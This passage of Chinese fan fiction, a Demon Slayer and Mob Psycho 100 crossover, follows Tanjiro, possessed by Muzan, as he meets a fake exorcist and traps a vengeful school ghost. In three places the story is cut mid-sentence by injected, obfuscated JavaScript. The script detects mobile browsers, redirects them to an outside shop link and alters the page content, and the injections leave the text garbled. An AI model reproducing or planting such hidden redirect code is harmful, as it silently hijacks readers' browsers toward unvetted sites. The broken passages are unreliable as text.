【男鬼,长相没见过,而且他不肯说自己死了多少年了。】 【这样啊,那明天请到这个地址来了,我们世纪的天才灵能力者——灵幻大师会亲自替你驱邪】 【那个费用方面…】 以防万一,炭治郎又问了费用方面的事。 助手很快发了个费用表来。 果然和网页上一样,简单驱除一次是5000,驱除50%是6000,驱除80%是8000,100%驱除是8888。 嗯,很便宜呢。 这下终于可以摆脱无惨了! 炭治郎看着上面自己完全可以付得起价目表露出开心的笑容。 他记下地址和联系电话,然后退了机。 第二天,一放学,他立刻飞奔出教室,路上遇到时透和他哥哥也只是匆匆地打了声招呼。 由于灵类相谈所位置比较远,他还特地给父母发了信息说,今天可能会晚些回来。 他几乎是坐了两个小时的电车,这才到地址上写的地方,那是处于一个不太热闹的偏远办公楼里。 他看了一眼外面的牌子,是这里没错了。 于是他走进大楼,敲响了那间办公门。 “咚咚咚。” “欢迎光临。” 开门的是一个金发青年,穿着西装,带着得体的笑容。 “请问,你就是幻灵大师吗?”炭治郎问道。 青年点点头:“嗯,没错,我就是世纪的天才灵能力者——灵幻新隆。” 说着他递上名片。 “你…” 灵幻看着他,突然瞪大眼睛! “真是好强的怨气啊!少年!你被一个了不得的男性恶灵附身了!” 炭治郎立刻露出惊喜的表情! 这个人太厉害了,一下就看出他被恶灵附身了! 他立刻随着男人进了屋,坐在办公桌前,幻灵大师坐在他的对面,一脸凝重地看着他。 “很厉害的灵哦,少年。” “是的,我已经去过神社、寺庙了,可就是摆脱不掉无惨!”炭治郎满是星星眼地看着眼前的灵能力者,真心希望对方能为他驱除无惨。 不能让无惨的存在,危害到其他人。 幻灵点点头:“嗯,你这个灵死好几十年了,前生被女人给甩了,然后又被诈骗了几千万,最后一无所有,跳楼而死,怨念太强了!” “唉?”炭治郎的笑容僵在脸上。 “不过,不用担心了少年!我世纪的天才灵能力者——灵幻新隆,会替你驱除这个恶灵的。” “这个报价单,你看一下。” “呵。” 一声嘲笑在炭治郎脑中响起,这一次不用无惨多说什么,他已经知道眼前的人是个骗子。 因为他闻出了说谎的味道。 正在幻灵正在滔滔不绝地介绍起自己除灵套餐时,眼前的少年突然腾地一声站了起来。 “对不起,你帮不了我。” 一个虚假的灵能力者,根本没有办法帮他驱逐体内的恶灵。 说着,炭治郎转身就要离开,幻灵还想劝说两句,这时炭治郎转过头,朝他露出无奈而又理解的表情。 “叔叔,你还是找一份正经工作吧,骗人是不对的。” “叔叔…叔叔…” 似乎是觉得自己被人叫老了,幻灵愣在原地,眼睁睁看着自己的财神跑了。 他后悔地揉了揉头发:“啊啊,早知道少说两句了,编得太过了。” “喂,你在干嘛。” 这时窗边飘进来一团绿火,那火光中还带着一张奇怪的人脸,上面还有两个红圈圈。 此刻绿火上的脸正鄙夷地看着他。 幻灵指责着对方:“喂,小酒窝,你干什么去了,来顾客了知不知道!” 如果那个少年真的被附身的话,有小酒窝在就能除灵了。 “哼,反正估计又是你骗来的人吧,随他去了。”小酒窝摊摊手。 哪有那么多灵异事件要处理,估计是什么心理作用吧。 已经下楼的炭治郎并不知道,在自己走后那家事务所里真的来了恶灵。此刻他走出大楼,迎面走来一个穿着白色短袖运动服的少年。 那个少年其貌不扬,甚至表情有些呆呆的,年纪比他小一点。 两人擦肩而过。 怎么回事?炭治郎感觉到一股心悸,他在感到害怕吗?不?是无惨在害怕。 “你…” 身后的少年说话了。 炭治郎转过身,对方的神色依旧很平静,只是静静地看着他。 “你也是来找师父商讨烦恼的吗?” “师父?” “嗯,幻灵师父。” “啊,是他。” 原来那个骗子叔叔是这个人的师父吗?他不会也被骗了吧。那个人完全就不是灵能力者啊,对于无惨的身世,都是瞎编的。 “那个…” “如果有烦恼的话,可以再来找幻灵师父,师父很厉害的,什么都懂。” 看着对方眼神中的崇拜,炭治郎想说的话顿时咽了下去。 听对方的意思,烦恼似乎是指生活方面的。如果是心理指导的话…那个骗子叔叔,确实好像可以… “我知道了,谢谢你。” 最终炭治郎没有戳穿那个人,只是经过这次失败,他又得继续找新灵能力者了。 看着那个红发少年走远,影山茂夫也转身继续朝着事务所走去。 他边走边喃喃道:“那个人身上的灵好厉害,不过师父没有要驱除,应该是有其用意吧。” “嗯,一定是这样。” 炭治郎并不知道,那一天,他和真正超能力者,并且是能驱逐无惨的存在,擦肩而过。 他只知道那一天,无惨莫名地一言不发,甚至一直有恐惧感传来。 隐约中他听到几个词。 别抛下我… 果然无惨被女人抛弃过吗? 虽然炭治郎很想知道无惨的过往,想知道他是什么哪里来的,又为什么要附身自己。但是无惨并不会主动聊起自己的过去,就算炭治郎问他也不说。 总之无惨就像迷一般地来到他身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他正一手撑着手,看着一旁穿着运动服的女生们笑容灿烂地在那里聊天,他的嘴角正勾起笑容…突然被人猛地拉了出去,整个人一个踉跄。 “猪突猛进…猪突猛进…” 他被伊之助拽着右手,被拉了出去,不仅是他还有炭治郎也一起被拉出去了。 只见伊之助大笑着,一手拉一个,依旧跑得飞快,半点吃力感也没有。 善逸大叫:“啊啊啊,你干什么啊!我又不是什么吃的!” 伊之助不理他,依旧拉着两人一路猛冲,将纸条交给了义勇老师。 义勇面无表情地接过,看了一眼:“合格。” “义勇老师,纸条上写了什么,我能看一下吗?” “随你喜欢。” 虽然义勇老师说得冷冰冰的,但炭治郎仍然凑上前看了起来。 只见纸条上写着挚友两个字。 炭治郎顿时热泪盈眶,他一下抱住伊之助:“伊之助,原来我和善逸是你的挚友吗?” 原来他在伊之助心中分量这么重。 善逸听了也有些红脸,但仍是死犟:“哼,谁要当他的挚友。” 只有伊之助面露疑惑:“咦,那纸条上不是写的小弟吗?” 谁也不知道伊之助是不是故意的,毕竟挚友和小弟两个字,写法差太多,无论怎么看都不应该看走眼。 但无论如何,这一场比赛是他们b班赢了。 虽然在听到伊之助把自己当小弟的善逸,追着伊之助打,看着两人吵吵闹闹的样子,炭治郎站在一旁,笑容灿烂。 11. 第 11 章 善逸追了一会后,就不追了,因为轮到一年级的借物比赛开始了。 而这一次有祢豆子参加,他站在观众区,疯狂给祢豆了加油,然后就看到祢豆子朝自己跑来。 不会吧!祢豆子是向自己跑来,那祢豆子的纸条是和自己有关吗?难不成是爱人或是结婚对象之类的! 无论是哪一种他都要幸福死了! 祢豆子笑容,祢豆子的声音越来越近。 “跟我过来一下。” 祢豆子伸出了手… “哥哥。” 然后她从善逸身边拉走了炭治郎… 可恶啊! 下一秒,善逸就被打下地狱。 祢豆子的纸条上写了最喜欢的人,容易感动的炭治郎又流下泪水。 呜呜…原来自己在祢豆子心中这么重要吗? 由于在借物比赛中伊之助的良好表现,所以他们b班暂时领先了第一,只是第二场比赛两人三足,却是有些惨不忍睹。 这次参加的是伊之助和玄弥。 一开始两人配合得还算默契,只是后来他们似乎心急得第一,跑得越来越快,开始乱了节奏。 “混蛋,你听我的指令啊!” “闭嘴!你这个小弟才应该听我的话!” “你听我的才对!” “听我的!” 那两人就这样比到一半开始打了起来,但由于两条腿被绑在一起,他们几乎是在地上打滚般地闹别扭,最后不仅得了最后一名,还被老师拉下去教训。 这下,他们b班掉了好几个名次。 班级气氛一下变得低迷起来。炭治郎宽慰着这两人,反正比赛还没有到最后,他们还是有机会赢下来的。 可尽管有炭治郎的安慰,那两人的情绪依旧很低迷。 这时人群中传来欢呼,原来是一年级的两人三脚也开始了,祢豆子他们班是时透兄弟参加。这两人本就是兄弟,自然是心有灵犀,配合默契。 两个人就像一个人似的,一点也不拖泥带水,冲到最前面。 面对胜利以及同学们的祝贺,时透并没有什么特别的表情,直到他注意到炭治郎也朝他看来,并为他鼓掌。 “炭治郎,你看,我赢了哦。”他立刻换上一副灿烂的表情,朝对方挥手。 有一郎恨铁不成钢地拉过弟弟:“走了。” 他这个弟弟怎么总是被二年级的那个红发小子吸引! “唉~等一下啦,哥哥!” “炭治郎!下午的我还有接力赛,你一定要来看!”临走之前,时透还不忘让炭治郎一定要来看自己的比赛。 “嗯。一定!”炭治郎点头答应。 三年级的两三人足赢的是忍学姐班的锖兔和真菰,这两人是青梅竹马般地长大,听说和还泷鳞先生是邻居。 不过泷鳞先生家附近有很多小孩子,想来正因为如此泷鳞先生才那么喜欢孩子,哪怕到了退休的年纪,还来学校当校工。 随着锖兔和真菰赢下比赛后,上午的比赛暂时告一段落。 炭治郎和朋友们还有妹妹依旧在天台吃午餐,善逸哭着问为什么祢豆子妹妹最喜欢的不是自己,然后又突然打起鸡血来,表示下午的接力赛一定要让祢豆子看到自己厉害的一面。 伊之助表示这是不可能的吧,因为善逸根本就没有帅气的一面。 “你说什么!”善逸气疯了。 于是就这样,炭治郎和祢豆子在天台上又看到善逸追着伊之助吵吵闹闹的画面。 吃过午饭,炭治郎去了一趟厕所。 洗完手出来,在拐角处听到香奈乎的声音,她似乎是在跟人说话。 “姐姐,就没有备用的吗?” “器材都被破坏得乱七八糟,那些接力棒一根也没有了。” “不仅如此,我怕接下来所有要用到器材的比赛都不能进行了。” 是忍学姐的声音。 “怎么了,忍学姐,香奈乎,你们遇到麻烦了吗?”炭治郎走出来,担心地问道。 “啊,是炭治郎啊。”蝴蝶忍完全没有因为炭治郎的突然出现而受惊,而是带着淡淡的笑容。 “对了,炭治郎来帮忙吧。”看着炭治郎,她眼前一亮,想到一个好主意。 “帮忙?”炭治郎不解。 经忍学姐的解释,原来是器材室被人破坏,丢了好多器材,就连下午比赛要用的接力棒也是一根也不剩。 由于校运会,大家都很忙,外加器材室又没有监控,所以他们根本不知道犯人是谁。 “这样啊。”炭治郎明白忍学姐他们的难处。 “那我们来帮你们的忙吧。” 他鼻子很灵,应该可以闻到犯人残留的气息。 炭治郎跟着忍他们来到器材室,果然看到一地狼藉的器材室,架子都被推倒,很多器材丢失,好多球被戳破。 好过分,明明今天是校运会,却做出这么过分的事来。 他来到被推倒的货架前,仔细闻了闻,虽然器材室一直有人进进出出,残留了很多人的气息,但是有一股气息很新鲜,应该是三十分钟之前才留下的。 是犯人的可能性很大。 他记住这个人的味道后,立刻转身去寻。 忍他们紧跟在炭治郎身后,来到一间男厕所前。 蝴蝶忍:“炭治郎的鼻子真好用呢,以后可以当警察去抓犯人了。” 她笑眯眯道,丝毫没有怀疑炭治郎找错地方,以前她丢东西时,都是靠炭治郎的鼻子找到了的。 炭治郎没有放松警惕,而是小心道:“忍学姐,香奈乎,你们先不要进去。” 他能闻出来,留下那股气息的人是个大块头。 于是他打头阵,先进了男厕所。 看到炭治郎进来,厕所里其他人并没有太在意他,只见炭治郎来到最里面的隔间,然后轻轻敲响了门。 门后并没有人回应,但门是反锁着的,应该里面有人才对。 等一下,这个气息是… “大家,帮我撞开这个门!” 炭治郎大喊着,然后厕所里其他人却只是向他投来疑惑的眼神,正在炭治郎准备一人撞开时,香奈乎冲了进来,对着门就是一脚,直接踹开了那间厕所门。 面对突然冲进来女同学,那些男生们立刻吓得尖叫起来,他们想出去,但被门口的忍拦住。 “发生什么事了吗?炭治郎,香奈乎?” “忍学姐,快叫香奈惠医生过来。”炭治郎大喊道。 此刻他和香奈乎看到马桶上,一个肌肉结实,高个子寸头男生正口吐白沫,昏迷着。 看校服,他应该是高三学生。 忍很快带着自家姐姐赶来,在众人的帮助下,将那个昏迷的学生抬进医务室。 趁着香奈惠正帮着那个人检查,忍来到炭治郎身边。 “就是他对吗?破坏器材室的人?” 炭治郎点点头:“应该是他没错了。” 但怎么回事?虽然这个人身 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时间紧急,炭治郎立刻将器材丢失的事,告诉了善逸他们帮着一起找,听到器材丢失,伊之助第一个就冲出去找,可不能耽误他下午的比试。 这一次他一定要一雪前耻,把第一的宝座夺回来了。 炭治郎闻着气味,很快地找到几根接力棒。 没想到居然被藏到了这里。 炭治郎爬上树,看到在树上两根接力棒,并将其取了下来。 犯人是怎么做到,在这么短的时间内,把东西扔得到处都是的?有同伙吗?可是按残留的气息来看,应该只有那个昏迷的学长进去过器材室。 真好奇怪。 他拿着找到接力棒打算先去还给忍学姐。 在前往器材室的楼梯上,他看到一个女同学正捂着腿蹲在那边。 “你没事吧。”炭治郎小跑上前。 “别去!” 无惨说话了。 虽然无惨性格恶劣,但一般劝他的时候,确实是有危险。而且怎么说,那个女孩身上传来气息,也有些异样,那异样和那个昏迷的学生一模一样。 “好痛哦。” 这时,那个女生抬头了,泪眼蒙蒙地看着他。 “拜托你,送我去医务室好不好。” 都被这样请求了,炭治郎也不忍心丢下她不管,于是走上前去。 “还能动吗?我背你去医务室。” “蠢货!” 他已经能想像到无惨暴怒的模样了。 但他还是伸出手,手伸到一半,他看到那个女孩露出诡异的笑容,然后猛地伸出手,将他推下楼去。 “碍事的家伙!” 女生发出一道不属于她的声音,然后飞快跑开,任由炭治郎摔下去。 眼见炭治郎又要摔下楼,突然有人从背后及时接住他。 “炭治郎,你没事吧。” 是义勇老师。 “义勇老师,快追上那个女生,她有问题!”炭治郎顾不上自己有没有受伤,刚站稳,就去追那个奇怪的女生。 义勇虽然不明白发生了什么,但是听了炭治郎的话,他也追上前去。 两人看着那女学生进入化学教室,也跟着进去了。 “站住!” 两人推门而入,那个女学生果然不逃了,因为她也口吐白沫晕倒在地。 12. 第 12 章 “喂,你怎么了?” 炭治郎赶紧上前扶起那个女同学。 一样的! 眼前的女同学和破坏器材室的那人是一样的症状,而且她身上那股异样气息消失了。 虽然没有善逸那么优秀的听力,可是他刚刚听得清清楚楚,这个女生发出了男人的声音。 这是怎么回事? “我送她去医务室。” 炭治郎正思考着,义勇已经将那个昏迷的女生背了起来了。两人一起将女生送到医务室,却见祢豆子也在这里,香奈惠医生正帮她处理手臂上的擦伤。 “祢豆子,你怎么受伤了?” 炭治郎赶紧上前紧张地问道。 “我没事…” 祢豆子正想说自己没事,便被一旁的善逸打断道:“还说没事!那个人可是要推你下楼啊!” “还好我看到了!” 原来祢豆子遇到了和炭治郎一样的事,不过推祢豆子的是个男同学,此时正被伊之助打呢。炭治郎听闻此事,怕伊之助下手没轻没重的,会把对方打伤。 就见伊之助背着一个口吐白沫的男同学,一脸不爽地进来了。 他粗鲁地将人给扔在病床上。 面对炭治郎担忧的目光,他不快地环抱着:“别这样看俺,俺都还没有出手呢,这个人就自己倒了。” “而且俺明明感觉到了一股恶意,但他昏倒后就没了,所以作为惩罚,俺拔了他头发。”说着,他摊开手,掌心上是一撮头发。 那么大一把,这男同学估计后脑勺肯定秃了。 炭治郎叹气:“伊之助,下次不要这样了。” 经香奈惠检查,他们带来的那两人和之前那人一样,昏迷原因不明。 但炭治郎还是察觉到一股违和感,眼见着忍学姐他们正在商量是不是应该取消掉下午的运动会时,炭治郎悄悄出了医务室。 “无惨,你刚刚提醒我不要接近那个女同学,是不是发现了什么。” 无惨冷声道:“你在求我吗?灶门炭治郎。” “是的,我在求你无惨。” 这没有什么不好意思承认的,现在不仅仅是器材室的问题了,三名学生昏迷,就连祢豆子也受到牵连,那下一个是谁? 善逸?伊之助?还是忍学姐他们?无论是哪一个,炭治郎不想看到任何一个人遇到危险。 无惨倒是没有卖关子。 “他们被恶灵附体了,那恶灵离开前估计吸了他们的精气,昏个一两年自然会醒。” “一两年!”炭治郎大声叫了出来。 人生有几个一两年!原来被恶灵附身影响那么大吗?现在学校有恶灵,那岂不是人人都有危险! “无惨,能找到他吗?”现在得马上找到那个怨灵,不然不知道会有多少人会陷入危险! “帮你可以,继承我的力量。”无惨趁机提出条件。 “为什么呢?这有什么关系吗?”炭治郎不解,这都什么时候了,这个无惨还提出这种奇怪的要求来。 “我没义务帮助人类。除非你成为鬼。” 炭治郎的眉头紧皱,十分苦恼,这个无惨还真是斤斤计较。 “啊,我知道了,无惨你是做不到吧。” “我知道恶鬼不能白天出来,但那只鬼可以,所以无惨你是不能够白天出来,所以才这样说的吧。” 炭治郎一拍手,猛地想起无惨说过,他不能白天出来,而现在是白天。 “对不起无惨,让你去做,做不到的事。” 虽然炭治郎对无惨道歉了,还让他不要管这件事了,但无惨听到却感觉怪怪的。 “你是在说我比那家伙弱!” “不是这意思,你白天不能出来,也没什么用吧。” “灶门炭治郎!你是觉得我的力量没用吗?” “等着,我这就让你知道。” 听无惨那气急败坏的声音,可见他是有多恼怒了,随即炭治郎便听到对方沉声道。 “东边!” 对方似乎感应到了那恶鬼位置,炭治郎想也不想地就朝他指的方向跑去。 “往右边走了!” 他按着无惨说的方向一路追去,果然看到一道身影,便那身影也察觉到他了,飞快地跑开。 应该就是他了!炭治郎步履加快,眼见着就要追上… “往上面跑了!” 无惨的话音刚落,眼前的男同学便直愣愣地倒了下去。 炭治郎扶起那男同学,抬头向天上看去,可是他什么也看不到。这该怎么办?鬼一旦脱离人体,他就什么也看不到了。 这让他如何抓住对方,而且每当他附身一人,便会多一个受害者。 总不能让他把全校都附身个遍吧。 “怎么样?灶门炭治郎,感觉到自己的无力了吧。” “只要你继承我的力量,就能抓住那鬼,解决一切。” 无惨嘲笑着他的无力,并劝他没什么好犹豫的了,还是快点继承他的力量,才能解决这一切。 “不要,感觉还是很可疑。”炭治郎又一次毫不犹豫地拒绝了。 虽然无惨说得很好,他也很想抓住那只恶鬼,解决这次的事件,但是他仍然不能完全相信无惨,也没有想要不老不死的打算,所以还是算了吧。 而且对于怎么抓住那只鬼,他内心已经有些打算了。 “既然器材还没有找到,那就通知下去取消吧。”器材室内,忍看着只找回来不到三分之一的器材,叹气说道。 器材室被偷,又不断地有人晕倒,忍有一种感觉,再这样下去,绝对还会有更多的人受伤的。 所以他们只能决定,暂停这次的校运会。 义勇点点头:“那就这么办吧。” 这也是唯一的办法了。 “等一下!” 就在他们决定广播取消这一次的校运会之际,炭治郎气喘吁吁地出现在器材室门口,拦住了他们。 “大家听我说,我有一个想法。” 下午一点半,操场上准备参加接力赛的学生们正在做着热身运动。 这时广播响了。 蝴蝶忍的声音在广播中响起。 “紧急通知,由于特殊原因,下午原定的接力赛改为五千长跑。” “请参加五千米长跑的参赛者尽快到跑道前准备。” “再重复一遍。” 再说了两遍通知后,忍放下话筒。 “这样就可以了吗?”她转身问道。 炭治郎点点头:“嗯,忍学姐也请暂停寻找那些器材,接下来尽量按兵不动,也不要接近器材室。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041390|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“好。”虽然不知道炭治郎这样做的用意,但忍愿意去相信他。 既然炭治郎说这样就可以解决犯人,那自己就全力配合他。 在向忍道谢后,他立刻赶往操场。 “这边,这边!酱次郎!加油!好好给他们一个教训!” “笨蛋!什么教训啊!是让炭治郎拿个好名次!” “炭治郎!好好比!加油!” 炭治郎看向观众席上的善逸等人,微笑着朝他们挥挥手。 “炭治郎!加油哦!” “哥哥加油!” 一年级中,时透和祢豆子也在为他加油,他同样以微笑回应。 嗯,他会加油的。 不仅仅只是跑步,还有抓住那只恶灵。 随着一声枪响,所有人立刻跑了出去,或许是不想一开始就把体力耗光,五个学生谁都没有使出全力,不过让人奇怪的是体育成绩不弱的炭治郎,此刻却跑在最后一个。 他一直紧跟在众人最后,一双眼睛时不时地看向周围。 很快一圈跑完对于选手们来说,并没有什么难度,然后是第二圈、第三圈、直到第四圈比赛进入到后半段,随着场内加油声不断,有人开始加速,而炭治郎依旧排在最后,不过他的神色却是前所未有的紧绷,只是众人的注意力大部分都在排名前三的选手上…也因此,根本没有人注意到,有一个女生从观众席中慢慢走出… 而她的手中有一把美工刀… 等众人发现时,那人已经手持美工刀,冲向跑在第一的人… “啊啊啊…” 人群发出尖叫,那个跑在第一的人,已经躲闪不及!眼见就要被刺中,却被人猛地撞开! “抓住你了!”炭治郎一把抓住那个准备行凶的女生。 从这个女生身上,他闻到了熟悉异样感! 果然正如他所料,这个恶灵就是冲着破坏校运会来的,所以才破坏器材室,还阻止他们找到丢失的器材。 如今校运会还在继续,那他肯定还会用更加激烈的方式破坏。 “放开我!” 被恶灵控制的女生挣扎两下!但却挣扎不开,眼见那女生两眼一翻,炭治郎知道那恶灵又要逃了! 他深吸一口气大喊道:“你跑不掉的!我记住你的气味了!无论多少次都会把你揪出来的!” “只要我有在,哪怕是地狱,我也会追上去,阻止你的!” “可恶的小鬼!” 恶灵发出低吼~ 突然一阵风迎面而来,炭治郎感觉一股刺痛,有什么进入了他的身体… “就凭你还想抓住我!现在你的身体是我的了!” 恶灵在他脑海中咆哮,想对炭治郎动手,炭治郎却抚住胸口,嘴角上扬。 “这次真的抓住你了。” “怎么回事?为什么我控制不了你。” 原本信心满满的恶鬼突然发出惊慌的声音,不敢相信为什么自己控制不了这个人?明明之前那么多次都成功了,为什么这个人… 不管了,就算控制不了,也要吸走这个人的精气… 就在那厉鬼准备吸走炭治郎的精气时… 突然一只冰冷的手,掐住了他的脖子。 “喂!这个人是我的。” 一双血眸悄无声息出现在他身后… 13. 第 13 章 “无惨,解决了吗?” 炭治郎听不到体内的声音了,就连身体也没有刚刚那么重了。 他背起昏倒的女生,由于这个女生并没有被吸走精气,所以她只是晕了过去,这应该算是不幸中的万幸了吧。 只是他听到体内无惨不悦的声音。 “炭治郎,你居然敢利用我。” 意识到这一点的无惨非常不快。明明这个人再三拒绝了他的力量,却还是想到了办法让自己不得不出手。 炭治郎:“因为我相信无惨一定能赢了那个恶灵。” 听到这话,无惨反而沉默了,然后便是冷哼一声,又沉默不说话了。 炭治郎嘿嘿一笑,看来是哄好了。 也亏得自己和无惨这个恶灵相处,才知道恶灵容易被激怒,并且报复心极强。这才能将附在女人身上的恶灵,引到自己身上,反正他体内已经有一个恶灵了,不介意再多一个。 他承认自己有赌的成分,但幸好一切都很顺利,包括无惨除掉那恶灵的计划也很顺利。 现在只差把这个女生送去医务室了。 “疼疼疼…” 炭治郎的头被人猛咬了一下。 “善逸松开我了。” “笨蛋!这么危险,你冲出去干什么啊!” “圆五郎!是不是有什么东西袭击了!那东西呢!老子要扒了他的皮!” “哥哥!你没受伤吧。” “喂,炭治郎把那女生交给我吧,你去休息。” 伊之助不愧是触感敏锐即使看不到恶鬼,但仍然感觉到其存在,他大叫着要抓住那个看不见的东西。玄弥从炭治郎身上接过那女生,要帮他送去医务室。 祢豆子上下检查着炭治郎有没有受伤,就连时透和他哥哥也跑来关心他,时透哥哥难得看到时透关心炭治郎没有阻止,只是脸依旧很臭。 由于比赛中出了这档子事,二年级的长跑成绩就此作废,先让一、三年级比赛,二年级的五千米长跑延到校运会第二日。 “炭治郎,你没事吧。” 忍和香奈乎来到二年级B班的教室。 为了让炭治郎好好休息,众人算是把他按着送到教室,让他接下来哪也别去,就在这里休息。 比赛上的事,这两姐妹自然也是看到,当时简直心脏都要吓出来了,如今看到炭治郎安好地坐在那里,她们也是松了一口气。 “忍学姐,香奈乎。我没什么事了。” “你们放心,不会有人破坏校运会了,接下来的比赛等找到器材后,就可以正常举行了。” “哦,对了,还有一些器材没找到。” 这一次没有恶灵阻止,他们总算可以好好将那些器材找回来了。 炭治郎准备站起身寻找器材,可刚站起身,便被祢豆子按了回去。 “哥哥就好好休息吧,接下来就交给我们。” “是啊,炭治郎就好好休息吧。”时透满眼担心附和道。 其他人也赶紧劝他好好休息,他们会去找器材。见朋友们都这样说,炭治郎也只能坐下来,好好休息。 这么一说,他确实有些累了。 又是上上下下地跑了这么久,又是被恶灵附身,他确实累了,所以就趴在桌子上小憩一会。 睡着睡着,他看到了自己的学校。 不对!那不是现在的学校。 操场的模样不一样,还有学校名字不是产屋敷校长上任后换成的鬼灭。 看那较新的建筑,那应该是三十年前学校。 学校今天也很热闹,仿佛也在进行校运会,学生们都聚集在操场兴奋地看着比赛,他的目光落在其中一名刺头少年的身上,他的腿部肌肉很发达,此刻他站在起跑线前,冲着班级里的人挥手。 同班同学给他加油,让他一定要拿第一,把名次扳回来。 刺头少年已经是最后五千米的项目了,只要他夺了第一,班级排名就能从第三冲到第一。 而刺头少年是学校田径部的,所以也对自己很有信心。 随着一声枪响,他跑了出去,第一圈、第二圈、第三圈…他都是遥遥领先,眼见最后一圈,他就要赢了… 突然他的腹部传来剧痛,他脸色惨白地倒在地上… 怎么会这样…明明今天他都没有乱吃东西… 不是…在比赛之前…他喝了好朋友的水…他抬头看向班级中的朋友,只见平常和自己争第一的朋友露出幸灾乐祸的笑容! 是他!是他在害自己! 那场五千米比赛他输了,不仅如此,他还害班级成了垫底。他冲动地去找朋友要解释,结果朋友却自己从楼梯上摔下去,这一幕被全班看到,他们以为是他推了朋友。 自那以后,田径部不要他了,班上的同学孤立他,就连家长和老师也不相信他,他彻底孤立无援。 直到后来,有一次体育课上,不知道是谁绊倒了他,他摔碎了膝盖再也不能跑步了。 失去所有的他,在一天早晨上学那天,从学校的天台跳了下去,当着那天所有步入校门的同学面前… 血缓缓流出他的身体,他听到那些人的惊叫、恐惧…可即使如此也平息不了他的愤怒! 他好恨!好恨!好恨! 这些人都该死!如果没有校运会的话!如果没有比赛的话!如果那一天他没有喝下那杯水的话… 所以他要破坏!破坏!破坏!将看不顺眼的一切都破坏掉! 破坏! 炭治郎从梦中惊醒,他抚着额头。 怎么回事?那个梦太真实了,是那个恶灵残留在他身上怨念吗?虽然炭治郎也很同情他经历,如果当时有一个人查明真相的话,或许那个刺头少年不会死,也不会有今天的悲剧。 但他不该冲着那些无辜的人下手。 没有了恶灵的干扰,剩下的器材顺利找回,校运会顺利再次举行。 接力赛顺利举行,善逸如愿在祢豆子面前,表现出帅气的一面,不得不说认真起来了的善逸挺像那么一回事的。 而伊之助也在接下来的铅球比赛中,充分发挥自己的优势,获得了第一名。 第二天剩下的比赛也是顺利地进行,炭治郎重新站在跑道上,获得了第一名的好成绩。连续两天的校运会,最终各个年级第一的分别是祢豆子的班,炭治郎的班,还有蝴蝶忍的班级。 虽然中途有恶灵作祟,但好在运动会顺利举行下去,医院那边也传来了消息,昏迷的那几人虽然依旧查不出昏迷的原因,但苏醒的概率很大,大概需要一两个月时间。 一两个月总比一两年要好,虽然会耽误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041391|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学习,但总比一直躺在那里要好。 运动会一结束,炭治郎买了一束花放在天台,认真地拜了拜。 “哥哥,你在干什么呢?”祢豆子虽然不明白为什么哥哥要这么做,但也跟着一起拜了拜。 “希望他的灵魂能安息吧。”虽然不知道,被无惨消灭后的恶灵会怎么样,但炭治郎还是希望那悲伤的锁链能在此停止。 “嗯。”祢豆子听不懂,却依旧附和着。 两人手牵着手离开天台,突然一阵风吹来,风中带了一声轻柔的声音。 “谢谢。” 炭治郎回头,只见他带来的鲜花被吹起几片花瓣,花瓣随风向上,仿佛前往天堂。 看到这一幕,炭治郎会心一笑。 如今那个恶鬼已经成佛了,而接下来,他要让另一个人也去成佛。 “炭治郎哥哥,你的快递。” 周六一大清早,竹雄正帮着祢豆子姐姐一起打开店门呢,便有快递员上门送来一个包裹。 包裹上写着哥哥的名字。 竹雄便拿着包裹前往炭治郎的房间,敲了敲门后,便进去了。 此时炭治郎正坐在书前,认真地看着书。 不愧是炭治郎哥哥呢!就算是周未也在认真学习! 看着这样的哥哥,竹雄引以为傲! “竹雄,谢谢你帮我拿过来,放在这里就好了。”炭治郎还认真看书,甚至还在记笔记,看上去真的很忙。 竹雄见此不想打扰哥哥学习,便轻手轻脚地走上前去,轻轻将包裹放在桌上。 哥哥真的是做什么都很认真,他瞥了一眼哥哥的学习进度,然后瞪大眼睛。 “哥哥…你在学什么呢!” “有什么烦恼吗?还是在学校被欺负了!” “可恶!是谁欺负了你!是那个经常骚扰姐姐的黄毛吗!” 在看到炭治郎看的那些书的什么时候,竹雄第一反应就是哥哥被欺负了,否则哥哥怎么会看关于诅咒方面的书! 只见炭治郎面前摆着五六本书《三分钟带你了解灵异》《见鬼十法》《黑魔法大全》… 自己的哥哥,竹雄十分了解。 他是世界上最善良最温柔对谁都好的哥哥!可是哥哥现在在看这种东西!不是被邪教洗脑了,就是在学校被欺负了! 而且肯定是被欺负得很惨,才会想到用这种办法保护自己。 炭治郎:“竹雄冷静点,我没有被欺负!” “只是想了解一下这方面的知识而已。” 灵能力者不是那么好找的,所以炭治郎想自学成才,但很可惜他没那个天赋,学了好几天,都不会把勺子弄弯。 “真的吗?”竹雄有些怀疑道。 炭治郎点点头:“真的真的。” “对了,给你看一下我的包裹吧。” 仿佛为了证明自己没有被欺负,炭治郎打开了那个包裹。 竹雄半信半疑地看着炭治郎用美工刀打开了那个包裹。 只见包裹里是一叠鬼画符,几个御守还有一串念珠。 “看竹雄,我就说我没被欺负吧。”炭治郎拿起那几个御守笑着说道。 然而下一刻,竹雄却大叫着冲了出去! 